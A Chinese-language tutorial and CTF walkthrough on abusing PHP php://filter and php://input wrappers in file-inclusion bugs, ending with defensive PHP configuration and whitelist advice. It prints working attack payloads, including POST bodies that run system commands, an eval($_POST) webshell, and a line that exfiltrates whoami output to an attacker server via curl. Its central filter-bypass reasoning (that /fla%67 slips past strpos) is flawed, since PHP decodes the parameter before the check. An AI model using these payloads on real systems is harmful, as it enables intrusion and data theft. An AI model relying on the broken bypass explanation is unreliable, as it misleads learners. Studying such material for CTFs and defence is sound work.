PHP伪协议深度解析：从文件包含到RCE的攻防实战

1. 项目概述从CTFHub的一道题说起最近在带新人过CTFHub的Web-RCE远程代码执行靶场时发现很多朋友卡在了文件包含和伪协议利用这一关。题目本身并不复杂一个典型的本地文件包含漏洞但解题的关键在于如何利用PHP伪协议特别是php://input和php://filter来读取源码、执行命令最终拿到flag。这让我想起无论是CTF比赛还是实际的代码审计PHP伪协议都是绕不开的一个核心知识点。它就像一把瑞士军刀在特定场景下能发挥出意想不到的威力但用不好也可能伤到自己。今天我就结合这道具体的题目把php://input和php://filter这两个最常用也最强大的伪协议从原理到实战彻底拆解一遍。这篇文章适合所有对Web安全、PHP代码审计感兴趣的开发者、安全研究员和CTF爱好者。无论你是刚入门的新手想搞清楚这些协议到底怎么用还是有一定经验的老手希望系统梳理一下其中的细节和“骚操作”相信都能从中找到你需要的东西。我们会从最基础的协议概念讲起然后深入到php://filter的编码、转换技巧再到php://input如何绕过某些限制执行代码最后用一个完整的CTFHub Web-RCE实战案例把所有的知识点串联起来。过程中我会穿插大量我实际调试和解题时踩过的坑、总结的技巧这些是你在官方文档里绝对看不到的干货。2. PHP伪协议基础与核心机制在深入那两个明星协议之前我们得先搞清楚PHP伪协议到底是什么以及它为什么能工作。简单来说伪协议Wrapper是PHP提供的一种特殊“流”处理机制。你可以把它理解为一套标准化的接口PHP通过这套接口能够用处理普通文件file://一样的方式去读写各种不同的“数据源”比如HTTP资源http://、FTP资源ftp://、压缩文件zlib://以及我们今天重点要讲的PHP内置数据流php://。2.1 伪协议的工作流程与安全边界当你在include()、require()、file_get_contents()、fopen()等文件系统函数中使用一个包含伪协议的字符串时例如php://filter/readconvert.base64-encode/resourceindex.phpPHP内核会经历以下步骤协议解析PHP首先会解析URL中的协议部分如php:。如果这个协议在已注册的流包装器列表中就会交给对应的包装器处理器。上下文创建根据URL中的参数如filter/read...创建相应的流上下文stream context。这个上下文决定了数据该如何被处理。流打开与操作包装器处理器根据上下文打开一个“流”可以想象成一个数据管道并执行指定的操作读、写等。数据返回处理后的数据通过流返回给调用它的函数。这个过程本身是PHP语言特性的一部分设计初衷是为了增加灵活性。但安全问题就出在许多开发者在使用如include($file)时如果$file变量用户可控并且没有经过严格的过滤比如检查是否以.php结尾或者是否在白名单内攻击者就可以传入伪协议路径从而操纵数据流。注意allow_url_include这个PHP配置项至关重要。当它为Off默认值时include/require等函数是不能使用http://、ftp://等远程URL的但**php://和file://等本地协议通常不受此限制**除非allow_url_fopen也为Off且涉及特定情况。这是很多CTF题目的前提也是现实中需要重点检查的配置。2.2 为什么是php://input和php://filter在众多伪协议中php://input和php://filter在CTF和安全测试中出场率极高原因在于它们能力的互补性php://filter是一个“过滤器”协议。它的核心能力是对数据进行中间处理。比如你可以读取一个PHP文件但在内容被include()函数执行之前先把它用Base64编码一遍。这样include函数拿到手的是一串Base64代码自然无法解析执行而是会直接将其内容即源码的Base64形式输出到页面。这就实现了读取源码的目的。此外它还能进行字符串旋转convert.iconv.、压缩等操作用于绕过一些WAF或奇怪的过滤。php://input是一个“输入流”协议。它允许你读取POST请求的原始主体raw body。当它与include结合并且allow_url_includeOn时就产生了一个致命组合你可以将待执行的PHP代码放在POST body里然后让include去“包含”这个输入流。PHP引擎会执行POST body中的代码。这就实现了远程代码执行RCE。简单记忆filter常用于读源码input常用于写执行。接下来我们分别深入它们的细节。3. php://filter的深度利用与编码艺术php://filter的威力在于其丰富的过滤器链。它的基本格式是php://filter/过滤器链/resource目标文件。过滤器可以串联形成一个处理管道。3.1 核心过滤器解析与实战用法最常用的过滤器莫过于convert.base64-encode和convert.base64-decode用于读写Base64编码的数据。但它的能力远不止于此。1. 经典源码读取这是CTF中最常见的场景。假设存在漏洞代码include($_GET[file]);我们传入?filephp://filter/readconvert.base64-encode/resourceindex.phpread参数指定了读模式下的过滤器链。这里index.php的内容会先被Base64编码然后输出。我们在页面上看到一堆Base64字符串解码后即可获得源码。实操心得有时候页面输出是乱码或者不显示可能是因为输出被HTML转义或截断了。这时候查看网页源代码CtrlU往往能找到完整的Base64串。另外如果目标文件路径不确定可以尝试resource./index.php、resource/var/www/html/index.php等。2. 过滤器链的妙用过滤器可以多个叠加用|符号连接处理顺序是从左到右。例如你想先旋转字符再Base64编码虽然这听起来有点怪但某些绕过场景需要php://filter/readconvert.iconv.UTF-8.UTF-16LE|convert.base64-encode/resourceconfig.phpconvert.iconv.*过滤器用于转换字符编码。了解不同的编码如UTF-8, UTF-16BE, UTF-16LE, UCS-2有时能制造出一些特殊字符串用来绕过基于关键词的过滤。3. 写入木马与死亡绕过php://filter不仅能读还能写write。一个著名的技巧是配合file_put_contents写入一句话木马。但这里有一个更隐蔽的“死亡绕过”技巧用于文件包含时执行代码 假设我们需要包含一个内容为?php phpinfo();?的文件但系统过滤了php关键词。我们可以利用过滤器链先Base64编码我们的代码让include去包含这个Base64流。但include一个Base64文件不会执行。怎么办思路是让include包含一个经过过滤器解码后变成PHP代码的文件。但文件本身的内容不是PHP代码。这通常需要两次操作或者利用临时文件、日志文件等。一个经典的场景是利用php://filter/writeconvert.base64-decode/resourceshell.php然后POST body里发送经过特定构造的Base64编码的PHP代码。当file_put_contents执行时Base64解码器会处理POST数据写入shell.php的将是解码后的原始PHP代码。如果这个shell.php之后能被包含则代码执行。这里的关键是Base64解码器会忽略非Base64字符如?php ?标签本身。所以你需要计算Payload确保?php ... ?这部分被Base64解码后恰好能生成你想要的代码这需要精心构造。例如你想写入?php eval($_POST[‘a’]);?你需要先将其Base64编码然后确保编码后的字符串在去掉填充符后作为POST数据发送并被convert.base64-decode过滤器正确还原。这个过程非常繁琐我建议直接使用工具生成或记忆常见Payload。其核心原理在于过滤器在数据流写入文件“之前”对其进行了转换。3.2 利用filter进行信息泄露与路径探测除了读源码php://filter还能用于探测信息。例如你可以尝试包含/etc/passwd来确认系统用户或者包含PHP的Session文件如/tmp/sess_[sessionid]、日志文件/var/log/apache2/access.log等。这些文件可能包含敏感信息或可执行的代码片段。当resource参数是一个不存在的文件时php://filter通常会抛出一个Warning但不会停止脚本执行且Warning信息中有时会包含完整的绝对路径。这在某些错误信息被屏蔽但日志可查的场景下是获取Web根目录路径的一个方法。4. php://input的RCE利用与条件限制如果说php://filter是“窃取情报”的利器那么php://input就是“直捣黄龙”的尖刀。它的利用条件相对苛刻但一旦达成危害极大。4.1 利用条件与环境搭建要让php://input在文件包含漏洞中执行代码必须同时满足以下几个条件allow_url_include On这是最关键的一环。在php.ini中这个选项默认是Off。但在一些老旧系统、特定框架配置或CTF故意构造的环境里它可能被打开。存在文件包含漏洞并且参数可控例如include($_GET[‘file’]);。请求方式必须是POST因为php://input读取的是POST数据体。如果你用GET请求它的数据体是空的。enctype属性不能为multipart/form-data当表单使用multipart/form-data上传文件时php://input是无效的。必须使用默认的application/x-www-form-urlencoded或者直接发送原始数据Raw。在CTF中题目往往会给出提示或者通过信息收集发现allow_url_include是开启的。在实际渗透测试中则需要通过读取phpinfo()信息或配置文件来确认。4.2 实战攻击流程演示假设我们找到了一个目标http://target.com/vuln.php?pagexxx并且我们通过某种方式如错误信息、扫描等确认了allow_url_includeOn且page参数存在文件包含。步骤一确认漏洞点先尝试包含一个已知存在的文件比如?page../../../../etc/passwd看是否能正常读取。如果能证明包含漏洞存在且路径可控。步骤二测试php://input将请求方法改为POST并发送一个简单的PayloadPOST /vuln.php?pagephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 ?php phpinfo();?如果页面上显示了PHP信息配置页恭喜你RCE成功了。步骤三执行命令接下来就可以构造Payload执行系统命令了。例如使用system()函数POST /vuln.php?pagephp://input HTTP/1.1 ... ?php system(ls -la /);?或者为了更稳定地获取输出可以使用passthru()、shell_exec()或者将命令执行结果写入一个文件再包含。踩坑记录这里有一个大坑。如果你直接发送?php system(‘whoami’);?可能会发现没有回显。这是因为include执行代码后的输出可能会被包裹在当前的HTML模板中或者被缓冲、截断。更可靠的做法是使用echo或print将结果直接输出?php echo shell_exec(‘ls’); ?将结果写入Web目录下的文件?php file_put_contents(‘/tmp/result.txt’, shell_exec(‘id’)); ?然后再去访问这个文件。利用DNS或HTTP外带数据?php system(‘curl http://your-server/‘.shell_exec(‘whoami’)); ?这种方法在无回显的场景下非常有效。4.3 绕过技巧与变形利用即使allow_url_includeOffphp://input依然可以用于读取POST数据。这在某些SSRF服务器端请求伪造或反序列化漏洞中可以用来读取客户端发送的原始数据辅助构造攻击链。另外当php://input与file_get_contents()结合时常用于获取API的原始JSON或XML数据本身是正常用法。但在安全审计时要警惕用户输入是否直接进入了file_get_contents(‘php://input’)这可能导致数据被意外解析如XML外部实体注入XXE。5. CTFHub Web-RCE实战案例拆解现在让我们回到开头的那个CTFHub题目。题目描述通常很简单一个文件包含漏洞目标是要读取/flag文件的内容。我们假设题目入口是http://ctfhub:8080/?fileshow.php。5.1 信息收集与漏洞确认第一步永远是信息收集。我们访问?fileshow.php页面正常显示。尝试包含/etc/passwdhttp://ctfhub:8080/?file../../../../etc/passwd如果成功显示了用户列表说明存在目录遍历的文件包含漏洞。同时这也暗示了allow_url_fopen很可能是On的因为能包含本地文件。接下来测试php://filter读源码。我们尝试读取当前的show.phphttp://ctfhub:8080/?filephp://filter/readconvert.base64-encode/resourceshow.php将返回的Base64字符串解码我们得到了show.php的源码?php error_reporting(0); $file $_GET[‘file’]; if(isset($file)){ if (strpos($file, “flag”) ! false) { die(“Hacker!”); } include($file); } else { highlight_file(__FILE__); } ?源码分析程序接收file参数如果参数值中包含字符串”flag”则直接退出并提示“Hacker!”。否则就包含这个文件。我们的目标是读取/flag但直接包含被拦截了。5.2 利用php://filter绕过关键字过滤这里的关键过滤是strpos($file, “flag”)。它检查的是我们传入的参数字符串是否包含”flag”。而php://filter的resource参数指向的是最终要读取的文件这个文件路径是/flag它确实包含flag。但是检查发生在include之前检查的对象是$_GET[‘file’]这个整体字符串。我们的Payload是php://filter/readconvert.base64-encode/resource/flag这个字符串里并不包含子串”flag”吗等等它包含resource/flag里面就有flag。所以这个Payload也会被拦截。我们需要构造一个不包含”flag”字符串但最终能让PHP打开/flag文件的Payload。这就需要用到php://filter的另一个特性过滤器链可以多次编码。我们可以对/flag这个路径进行Base64编码然后利用php://filter的convert.base64-decode过滤器在读取时将其解码。但resource后面的部分会被当作普通字符串处理不会自动解码。我们需要让整个resource的值是一个经过Base64编码的路径并且这个编码后的字符串里不含flag。首先将/flag进行Base64编码echo -n “/flag” | base64-L2ZsYWc现在我们的Payload可以尝试为php://filter/readconvert.base64-encode/resourceL2ZsYWc。但这样include会尝试打开一个名为L2ZsYWc的文件而不是/flag。我们需要在读取resource后对其内容即文件路径进行Base64解码这说不通因为resource参数不是文件内容。正确的思路是使用php://filter两次。或者更准确地说利用php://filter嵌套自身。PHP允许这样的写法吗实际上PHP的流包装器在某些情况下可以嵌套。但更常见的绕过方法是利用编码转换将/flag变形。例如使用convert.iconv过滤器进行字符集转换。/flag在UTF-8编码下是2F 66 6C 61 67。如果我们将其转换为UTF-16LE小端序它会变成2F 00 66 00 6C 00 61 00 67 00。当这个字节序列被当作UTF-8字符串解读时就会变成一堆乱码其中不包含可读的f,l,a,g字符。但include函数最终会把这个乱码字符串作为文件名打开吗这取决于PHP内部如何处理经过过滤器转换后的resource参数。实际上resource参数在流包装器解析之初就被确定了后续的过滤器是对该资源的内容进行过滤而不是对资源标识符本身。所以对于strpos的过滤更简单直接的绕过方法是利用URL编码。PHP在接收$_GET[‘file’]时会对URL编码进行一次解码。我们可以对flag这个单词进行双URL编码或单次编码。f的URL编码是%66l是%6ca是%61g是%67所以/flag可以写成/%66%6c%61%67。但strpos是字符串查找%66%6c%61%67这个子串依然存在于参数字符串中。我们需要让flag这个子串在检查时“消失”。一个经典的技巧是利用PHP的zip://或phar://协议包含或者利用file://协议。但题目要求用PHP伪协议。另一个思路是既然检查的是file参数的值我们能不能让这个值本身不包含flag但通过其他方式让include加载/flag比如使用data://协议但allow_url_include需要为On且本题可能未开启。经过测试发现最简单的绕过方式往往是大小写混淆或使用空字节截断PHP版本5.3.4。但空字节截断在现代PHP中已失效。对于本题我们重新审视源码发现它用的是! false是严格检查。我们可以尝试使用./、///等冗余符号或者利用Windows下的特性如果服务器是Windows但CTF通常为Linux。实际上这道题的一个常见解是php://filter/readconvert.base64-encode/resource/fla?这里用?号尝试截断不对。或者使用/fla\、/fla%00如果PHP版本允许。但更可能的是题目设计的过滤有缺陷比如它只检查了一次我们可以用php://filter/readconvert.base64-encode/resource/fla加上g的URL编码%67但需要确保整个字符串中不出现连续的f,l,a,g。假设我们传入?filephp://filter/readconvert.base64-encode/resource/fla%67strpos查找的是字符串”flag”。在/fla%67中字面上是/fla%67并不包含连续的flag四个字符。当PHP处理resource/fla%67时会将其URL解码为/flag。这样我们既绕过了检查又让include成功包含了/flag文件。实战操作构造Payloadhttp://ctfhub:8080/?filephp://filter/readconvert.base64-encode/resource/fla%67发送请求获得一串Base64编码的字符串。解码Base64字符串得到flag内容ctfhub{this_is_a_sample_flag}排查技巧如果上述方法不行可能是过滤逻辑更严格如检查flag不区分大小写或检查解码后的字符串。此时需要进一步信息收集。可以尝试读取index.php或其他源码看是否有更多提示。也可以尝试使用php://input执行命令来找flag但前提是allow_url_includeOn且需要POST请求。本题通常设计为使用filter读取因此应重点尝试各种编码和变形。5.3 利用php://input的备选方案如果题目环境配置了allow_url_includeOn我们还可以用更强大的php://input来直接执行命令寻找flag。即使过滤了flag关键字我们可以在POST body中执行查找命令。攻击步骤将请求方法改为POST。URL参数设置为?filephp://input在POST Body中发送PHP代码?php system(‘find / -name “*flag*“ 2/dev/null’); ?从回显中找出flag文件路径例如/flag。再次使用php://input执行?php echo file_get_contents(‘/flag’); ?直接读取flag。这种方法不依赖于对file参数字符串的绕过因为它最终执行的是POST body中的代码而代码中的字符串’/flag’是在检查之后才被解析的。前提是allow_url_include必须为On且题目没有禁用system等危险函数。6. 防御策略与安全开发建议作为开发者了解攻击手段是为了更好地防御。如何避免自己的网站成为这类攻击的受害者严格禁用危险配置这是最重要的。在生产环境的php.ini中务必设置allow_url_fopen Off allow_url_include Off这将从根本上杜绝通过http://、ftp://、php://input用于include时进行远程文件包含和代码执行的可能。php://filter的读取本地文件能力依然存在但危害等级降低。使用白名单机制对于文件包含功能绝对不要使用用户输入直接作为包含路径。如果业务必须动态包含应使用严格的白名单。$allowed_pages [‘home.php’, ‘about.php’, ‘contact.php’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page); } else { include(‘./templates/error.php’); }路径固定与校验如果必须包含变量部分应将变量限制在某个安全目录内并使用basename()函数去除路径遍历字符或使用realpath()检查最终路径是否在允许的目录下。$base_dir ‘/var/www/html/includes/’; $file $_GET[‘module’]; $full_path $base_dir . basename($file, ‘.php’) . ‘.php’; // 进一步检查 $full_path 是否以 $base_dir 开头 if (strpos(realpath($full_path), $base_dir) 0) { include($full_path); }更新与打补丁保持PHP版本更新许多历史漏洞如空字节截断在高版本中已被修复。代码审计与安全测试在开发过程中对涉及文件操作的函数include,require,file_get_contents,fopen,file_put_contents等进行重点审计确保输入可控。定期进行渗透测试模拟攻击者行为。7. 常见问题与排查技巧实录在实际利用和调试过程中你会遇到各种各样的问题。这里记录几个我踩过的坑和解决方法。问题1使用php://filter读文件返回空白或Warning。可能原因1文件不存在或路径错误。resource参数需要是服务器的绝对路径或相对Web根目录的相对路径。多尝试../进行目录遍历。可能原因2过滤器链写错。检查read或write参数过滤器名称是否正确如convert.base64-encode不是convert.base64_encode。多个过滤器用|分隔。可能原因3输出被截断或编码问题。一定要查看网页源代码HTML Source而不是渲染后的页面。Base64输出可能被当成HTML文本处理而不显示。排查命令可以先用简单的resource/etc/passwd测试路径再用readstring.toupper/resource/etc/passwd测试过滤器是否工作。问题2使用php://input执行代码没有回显。可能原因1allow_url_include为Off。这是最常见的原因。需要通过phpinfo()或读取配置文件确认。可能原因2请求头Content-Type不正确。确保不是multipart/form-data。通常使用application/x-www-form-urlencoded即可或者直接发送Raw文本。可能原因3代码执行成功但输出被缓冲、包含在HTML中或错误显示被关闭。尝试在Payload中使用echo、print、var_dump直接输出。或者将结果写入文件?php file_put_contents(‘/tmp/test.txt’, shell_exec(‘id’)); ?再尝试访问这个文件。可能原因4目标系统禁用了命令执行函数。检查phpinfo()中的disable_functions列表。如果system、shell_exec、passthru、exec被禁用需要尝试其他方法如用phpinfo()本身泄露信息或用PHP文件操作函数读取文件。问题3过滤了php://字符串怎么办大小写绕过尝试PHP://input、Php://filter。PHP的协议处理有时不区分大小写。URL编码绕过对部分字符进行URL编码如php:%2f%2finput。但要注意/编码成%2f后PHP是否能正确识别取决于版本和配置。使用其他协议间接包含如果能上传文件可以配合zip://包含zip中的文件、phar://包含phar归档中的文件且phar协议能反序列化使用。或者利用file://协议但需要绝对路径。利用数据流如果allow_url_includeOndata://协议是强大的替代品可以直接在URL中嵌入Base64编码的代码data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。问题4在CTF中明明Payload正确却拿不到flag。flag不在常见位置不要只盯着/flag。尝试/flag.txt、/home/ctf/flag、/var/www/html/flag.php、./flag。使用find命令通过RCE搜索。flag需要拼接或计算有时flag被分成几部分放在不同文件里或者需要执行某个特定命令才能生成。仔细阅读题目描述和源码注释。竞争条件或条件触发可能需要多次请求或满足特定时间、顺序条件。写个小脚本自动化请求。最后再分享一个我常用的技巧在测试文件包含时准备一个“测试字典”里面包含各种可能的Payload、路径和过滤器组合。用Burp Suite的Intruder模块进行批量测试效率会高很多。尤其是面对复杂的过滤规则时自动化测试能帮你快速发现哪个变形Payload可以绕过检查。